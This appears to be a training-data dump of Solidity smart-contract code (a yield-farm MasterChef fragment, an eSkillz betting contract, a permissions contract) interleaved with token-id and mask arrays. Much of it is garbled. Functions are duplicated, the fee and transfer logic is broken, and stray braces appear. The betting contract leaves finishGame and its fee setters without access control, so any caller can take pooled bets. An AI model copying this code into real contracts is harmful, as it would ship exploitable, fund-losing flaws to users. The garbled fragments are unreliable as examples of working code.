user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFeeBP > 0){
uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(feeAddress, depositFee);
user.amount = user.amount.add(_amount).sub(depositFee);
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFeeBP > 0){
uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(feeAddress, depositFee);
user.amount = user.amount.add(_amount).sub(depositFee);
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFeeBP > 0){
uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(feeAddress, depositFee);
user.amount = user.amount.add(_amount).sub(depositFee);
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFeeBP > 0){
uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(feeAddress, depositFee);
user.amount = user.amount.add(_amount).sub(depositFee);
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
}else{
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(address(msg.sender), amount);
emit EmergencyWithdraw(msg.sender, _pid, amount);
}
function safeEggTransfer(address _to, uint256 _amount) internal {
uint256 mojitoBal = mojito.balanceOf(address(this));
if (_amount > mojitoBal) {
mojito.transfer(_to, mojitoBal);
mojito.transfer(_to, _amount);
}
}
function safeEggTransfer(address _to, uint256 _amount) internal {
uint256 mojitoBal = mojito.balanceOf(address(this));
if (_amount > mojitoBal) {
mojito.transfer(_to, mojitoBal);
mojito.transfer(_to, _amount);
}
}
} else {
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
function setFeeAddress(address _feeAddress) public{
require(msg.sender == feeAddress, "setFeeAddress: FORBIDDEN");
feeAddress = _feeAddress;
}
function updateEmissionRate(uint256 _mojitoPerBlock) public onlyOwner {
massUpdatePools();
mojitoPerBlock = _mojitoPerBlock;
}
} | 11,053,931 | [
1,
7786,
39,
580,
74,
353,
326,
4171,
434,
512,
14253,
18,
8264,
848,
1221,
512,
14253,
471,
3904,
353,
279,
284,
1826,
3058,
93,
18,
3609,
716,
518,
1807,
4953,
429,
471,
326,
3410,
341,
491,
87,
268,
2764,
409,
1481,
7212,
18,
1021,
23178,
903,
506,
906,
4193,
358,
279,
314,
1643,
82,
1359,
13706,
6835,
3647,
512,
19491,
353,
18662,
715,
16859,
471,
326,
19833,
848,
2405,
358,
314,
1643,
82,
6174,
18,
21940,
9831,
6453,
518,
18,
670,
1306,
4095,
518,
1807,
7934,
17,
9156,
18,
611,
369,
324,
2656,
18,
3807,
434,
1517,
729,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
13453,
39,
580,
74,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
5948,
52,
3462,
364,
467,
5948,
52,
3462,
31,
203,
203,
565,
1958,
25003,
288,
203,
565,
289,
203,
203,
565,
1958,
8828,
966,
288,
203,
565,
289,
203,
203,
203,
203,
565,
871,
4019,
538,
305,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
3423,
9446,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
512,
6592,
75,
2075,
1190,
9446,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
3885,
12,
203,
3639,
490,
6311,
11250,
1345,
389,
81,
6311,
11250,
16,
203,
3639,
1758,
389,
5206,
4793,
16,
203,
3639,
1758,
389,
21386,
1887,
16,
203,
3639,
2254,
5034,
389,
81,
6311,
11250,
2173,
1768,
16,
203,
3639,
2254,
5034,
389,
1937,
1768,
203,
565,
490,
6311,
11250,
1345,
1071,
312,
6311,
11250,
31,
203,
565,
1758,
1071,
4461,
4793,
31,
203,
565,
2254,
5034,
1071,
312,
6311,
11250,
2173,
1768,
31,
203,
565,
2254,
5034,
1071,
5381,
605,
673,
3378,
67,
24683,
2053,
654,
273,
404,
31,
203,
565,
1758,
1071,
14036,
1887,
31,
203,
565,
8828,
966,
8526,
1071,
2845,
966,
31,
203,
565,
2874,
261,
11890,
5034,
516,
2874,
261,
2867,
516,
25003,
3719,
1071,
16753,
31,
203,
565,
2254,
5034,
1071,
2078,
8763,
2148,
273,
374,
31,
203,
565,
2254,
2
]
|
// Partial License: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity 0.6.6;
contract ESkillzStraightBet is Ownable {
using SafeMath for uint256;
IERC20 public cue;
mapping(uint256 => mapping (address => uint256)) private balances;
struct Game {
uint256 table_id;
address [] players; // players
address landowner; // land owner address
string status; // created, started, finished.
uint256 game_level; // 0 => amatuer, 1 => professional, 2 => championship
uint256 game_type; // 0 => pool game, 1 => golf, 2 => football
uint256 max_players; // should be bigger than 1
}
uint256 [] table_fee = [0,0,0]; // 0 => amatuer, 1 => professional, 2 => championship
uint256 private eskillz_fee;
address public eskillzFeeReceiver;
uint256 [] landprice = [100,300,500];
event Deposit(address player, uint256 amount, uint256 game_id);
mapping (uint256 => Game) private game_list;
mapping (uint256 => uint256) private bet_amount;
uint256 public game_count = 0;
constructor (address addr) public { cue = IERC20(addr); eskillz_fee = 0;}
function createGame(address landowner, uint256 game_type, uint256 game_level, uint256 amount, uint256 max_players ) public {
require(max_players > 1, "max players should be bigger than 1");
Game memory new_game = Game({ table_id: game_count, players: new address[](0), landowner:landowner, status: "created", game_level: game_level, game_type: game_type, max_players:max_players});
game_list[game_count] = new_game;
joinGame(amount, game_count);
game_count++;
}
function joinGame(uint256 amount, uint256 game_id) public {
require(amount>0, "betting amount should be bigger than zero");
require(game_count>=game_id, "this game is not created!");
require(keccak256(abi.encodePacked((game_list[game_id].status)))== keccak256(abi.encodePacked(("created"))), "this game already started or finished");
require(game_list[game_id].players.length<game_list[game_id].max_players, "already filled all players");
game_list[game_id].players.push(msg.sender);
balances[game_id][msg.sender] = balances[game_id][msg.sender].add(amount);
bet_amount[game_id] = bet_amount[game_id].add(amount);
//require(cue.balanceOf(msg.sender) >= amount,"balance is low");
cue.transferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, amount, game_id);
}
function startGame(uint256 game_id) public {
require(game_list[game_id].players.length>1, "more players need to join this game to start.");
game_list[game_id].status = "started";
}
function getDistrubuteAmount(uint256 game_id) private returns(uint256, uint256, uint256) {
uint256 tableFeeAmount = bet_amount[game_id].mul(table_fee[game_list[game_id].game_level]).div(100);
uint256 eskillzFeeAmount = bet_amount[game_id].mul(eskillz_fee).div(100);
uint256 winnerAmount = bet_amount[game_id] - tableFeeAmount - eskillzFeeAmount;
return (winnerAmount, tableFeeAmount, eskillzFeeAmount);
}
function finishGame(uint256 game_id, address winner) public {
game_list[game_id].status = "finished";
(uint256 winnerAmount, uint256 tableFee, uint256 eskillzFee) = getDistrubuteAmount(game_id);
cue.transfer(winner, winnerAmount);
cue.transfer(game_list[game_id].landowner, tableFee);
cue.transfer(eskillzFeeReceiver, eskillzFee);
}
function getGame(uint256 game_id) public view returns (uint256, address[] memory, string memory, uint256, uint256) {
return (game_list[game_id].table_id, game_list[game_id].players, game_list[game_id].status, game_list[game_id].game_type, game_list[game_id].max_players);
}
function totalBetAmountOnGame(uint256 game_id) public view returns(uint256) {
return bet_amount[game_id];
}
function getTableFee() public view returns(uint256, uint256, uint256) {
return (table_fee[0], table_fee[1], table_fee[2]);
}
function setTableFee(uint256 _aFee, uint256 _pFee, uint256 _cFee) public {
table_fee[0] = _aFee; table_fee[1] = _pFee; table_fee[2] = _cFee;
}
function getESkillzFee() public view returns(uint256) {
return eskillz_fee;
}
function setESkillzFee(uint256 _fee) public {
eskillz_fee = _fee;
}
function setEskilzFeeReceiver(address _feeReceiver) public {
eskillzFeeReceiver = _feeReceiver;
}
function landPrice() public view returns(uint256, uint256, uint256) {
return (landprice[0], landprice[1], landprice[2]);
}
function setLandPrice(uint256 _price0, uint256 _price1, uint256 _price2) public {
landprice[0] = _price0;
landprice[1] = _price1;
landprice[2] = _price2;
}
function buyLand(uint8 level) public {
cue.transferFrom(msg.sender, address(this), landprice[level]);
}
}
| require(cue.balanceOf(msg.sender) >= amount,"balance is low"); | function joinGame(uint256 amount, uint256 game_id) public {
require(amount>0, "betting amount should be bigger than zero");
require(game_count>=game_id, "this game is not created!");
require(keccak256(abi.encodePacked((game_list[game_id].status)))== keccak256(abi.encodePacked(("created"))), "this game already started or finished");
require(game_list[game_id].players.length<game_list[game_id].max_players, "already filled all players");
game_list[game_id].players.push(msg.sender);
balances[game_id][msg.sender] = balances[game_id][msg.sender].add(amount);
bet_amount[game_id] = bet_amount[game_id].add(amount);
cue.transferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, amount, game_id);
}
| 12,950,862 | [
1,
6528,
12,
8007,
18,
12296,
951,
12,
3576,
18,
15330,
13,
1545,
3844,
10837,
12296,
353,
4587,
8863,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1233,
12496,
12,
11890,
5034,
3844,
16,
2254,
5034,
7920,
67,
350,
13,
1071,
288,
203,
3639,
2583,
12,
8949,
34,
20,
16,
315,
70,
278,
1787,
3844,
1410,
506,
18983,
2353,
3634,
8863,
203,
3639,
2583,
12,
13957,
67,
1883,
34,
33,
13957,
67,
350,
16,
315,
2211,
7920,
353,
486,
2522,
4442,
1769,
203,
3639,
2583,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12443,
13957,
67,
1098,
63,
13957,
67,
350,
8009,
2327,
20349,
631,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
2932,
4824,
6,
3719,
3631,
315,
2211,
7920,
1818,
5746,
578,
6708,
8863,
203,
3639,
2583,
12,
13957,
67,
1098,
63,
13957,
67,
350,
8009,
1601,
414,
18,
2469,
32,
13957,
67,
1098,
63,
13957,
67,
350,
8009,
1896,
67,
1601,
414,
16,
315,
17583,
6300,
777,
18115,
8863,
203,
3639,
7920,
67,
1098,
63,
13957,
67,
350,
8009,
1601,
414,
18,
6206,
12,
3576,
18,
15330,
1769,
203,
3639,
324,
26488,
63,
13957,
67,
350,
6362,
3576,
18,
15330,
65,
273,
324,
26488,
63,
13957,
67,
350,
6362,
3576,
18,
15330,
8009,
1289,
12,
8949,
1769,
203,
3639,
2701,
67,
8949,
63,
13957,
67,
350,
65,
273,
2701,
67,
8949,
63,
13957,
67,
350,
8009,
1289,
12,
8949,
1769,
203,
3639,
276,
344,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
1769,
203,
3639,
3626,
4019,
538,
305,
12,
3576,
18,
15330,
16,
3844,
16,
7920,
67,
350,
1769,
203,
565,
289,
203,
377,
2
]
|
pragma solidity ^0.5.10;
import "./Assert.sol";
import "./Utilities.sol";
contract PermissionsLevel {
uint32 constant public canSpend = 1 << 0;
uint32 constant public canUnfreeze = 1 << 1;
uint32 constant public canChangeParticipants = 1 << 2;
uint32 constant public canChangeBypass = 1 << 3;
// There participant that can sign a boost operation can use its permissions with a higher level by co-signing
uint32 constant public canSignBoosts = 1 << 4;
uint32 constant public canExecuteBoosts = 1 << 5;
// Instant Run Permissions - these actions do not require delays
uint32 constant public canFreeze = 1 << 6;
uint32 constant public canCancelConfigChanges = 1 << 7;
uint32 constant public canCancelSpend = 1 << 8;
uint32 constant public canApprove = 1 << 9;
uint32 constant public canAddOperator = 1 << 10;
uint32 constant public canExecuteBypassCall = 1 << 11;
uint32 constant public canCancelBypassCall = 1 << 12;
uint32 constant public canSetAcceleratedCalls = 1 << 13;
uint32 constant public canAddOperatorNow = 1 << 15;
uint32 constant public canChangeConfig = canUnfreeze | canChangeParticipants | canAddOperator | canAddOperatorNow | canChangeBypass | canSetAcceleratedCalls /*| canSetAddOperatorNow| canChangeOwner*/ /* | canChangeDelays */;
uint32 constant public canCancel = canCancelSpend | canCancelConfigChanges | canCancelBypassCall;
uint32 constant public ownerPermissions = canSpend | canCancel | canFreeze | canChangeConfig | canSignBoosts | canExecuteBypassCall;
uint32 constant public adminPermissions = /*canChangeOwner |*/ canExecuteBoosts | canAddOperator;
uint32 constant public watchdogPermissions = canCancel | canFreeze | canApprove;
function comparePermissions(uint32 neededPermissions, uint32 senderPermissions) pure internal {
uint32 missingPermissions = neededPermissions & (senderPermissions ^ uint32(- 1));
string memory error = Assert.concat("permissions missing: ", missingPermissions);
require(missingPermissions == 0, error);
require(missingPermissions < 0x07FFFFFF, "permissions overflow"); // TODO: increase size of perm+level to drop this packing/unpacking hell
require(
senderPermissions == ownerPermissions ||
senderPermissions == adminPermissions ||
senderPermissions == watchdogPermissions,
"unsupported permission set");
}
function extractLevel(uint32 permLev) pure internal returns (uint8 level) {
(, level) = Utilities.extractPermissionLevel(permLev);
}
function extractPermission(uint32 permLev) pure internal returns (uint32 permission) {
(permission,) = Utilities.extractPermissionLevel(permLev);
}
}
| There participant that can sign a boost operation can use its permissions with a higher level by co-signing Instant Run Permissions - these actions do not require delays | contract PermissionsLevel {
uint32 constant public canSpend = 1 << 0;
uint32 constant public canUnfreeze = 1 << 1;
uint32 constant public canChangeParticipants = 1 << 2;
uint32 constant public canChangeBypass = 1 << 3;
uint32 constant public canSignBoosts = 1 << 4;
uint32 constant public canExecuteBoosts = 1 << 5;
uint32 constant public canFreeze = 1 << 6;
uint32 constant public canCancelConfigChanges = 1 << 7;
uint32 constant public canCancelSpend = 1 << 8;
uint32 constant public canApprove = 1 << 9;
uint32 constant public canAddOperator = 1 << 10;
uint32 constant public canExecuteBypassCall = 1 << 11;
uint32 constant public canCancelBypassCall = 1 << 12;
uint32 constant public canSetAcceleratedCalls = 1 << 13;
uint32 constant public canAddOperatorNow = 1 << 15;
uint32 constant public canChangeConfig = canUnfreeze | canChangeParticipants | canAddOperator | canAddOperatorNow | canChangeBypass | canSetAcceleratedCalls /*| canSetAddOperatorNow| canChangeOwner*/ /* | canChangeDelays */;
uint32 constant public canCancel = canCancelSpend | canCancelConfigChanges | canCancelBypassCall;
uint32 constant public ownerPermissions = canSpend | canCancel | canFreeze | canChangeConfig | canSignBoosts | canExecuteBypassCall;
uint32 constant public adminPermissions = /*canChangeOwner |*/ canExecuteBoosts | canAddOperator;
uint32 constant public watchdogPermissions = canCancel | canFreeze | canApprove;
function comparePermissions(uint32 neededPermissions, uint32 senderPermissions) pure internal {
uint32 missingPermissions = neededPermissions & (senderPermissions ^ uint32(- 1));
string memory error = Assert.concat("permissions missing: ", missingPermissions);
require(missingPermissions == 0, error);
require(
senderPermissions == ownerPermissions ||
senderPermissions == adminPermissions ||
senderPermissions == watchdogPermissions,
"unsupported permission set");
}
function extractLevel(uint32 permLev) pure internal returns (uint8 level) {
(, level) = Utilities.extractPermissionLevel(permLev);
}
function extractPermission(uint32 permLev) pure internal returns (uint32 permission) {
(permission,) = Utilities.extractPermissionLevel(permLev);
}
}
| 6,344,247 | [
1,
9828,
14188,
716,
848,
1573,
279,
14994,
1674,
848,
999,
2097,
4371,
598,
279,
10478,
1801,
635,
1825,
17,
26907,
11190,
1939,
15684,
300,
4259,
4209,
741,
486,
2583,
4624,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
15684,
2355,
288,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
27223,
273,
404,
2296,
374,
31,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
984,
29631,
273,
404,
2296,
404,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
3043,
1988,
27620,
273,
404,
2296,
576,
31,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
3043,
858,
5466,
273,
404,
2296,
890,
31,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
2766,
26653,
87,
273,
404,
2296,
1059,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
5289,
26653,
87,
273,
404,
2296,
1381,
31,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
9194,
8489,
273,
404,
2296,
1666,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
6691,
809,
7173,
273,
404,
2296,
2371,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
6691,
27223,
273,
404,
2296,
1725,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
12053,
537,
273,
404,
2296,
2468,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
986,
5592,
273,
404,
2296,
1728,
31,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
5289,
858,
5466,
1477,
273,
404,
2296,
4648,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
6691,
858,
5466,
1477,
273,
404,
2296,
2593,
31,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
694,
18019,
19007,
10125,
273,
404,
2296,
5958,
31,
203,
565,
2254,
1578,
5381,
1071,
848,
986,
5592,
8674,
273,
404,
2296,
4711,
31,
203,
203,
565,
2254,
1578,
5381,
1071,
848,
3043,
809,
273,
848,
984,
29631,
571,
848,
3043,
1988,
27620,
571,
848,
986,
2
]
|
./partial_match/1/0x6cB07AB81DbB879aE4bf4a0E65230af01925919D/sources/ELEMENTS.sol | * @dev See {IERC721-approve}./ | function approve(address to, uint256 tokenId) virtual public override {
address owner = ownerOf(tokenId);
if (_msgSenderERC721A() != owner)
if (!isApprovedForAll(owner, _msgSenderERC721A())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
| 2,670,817 | [
1,
9704,
288,
45,
654,
39,
27,
5340,
17,
12908,
537,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
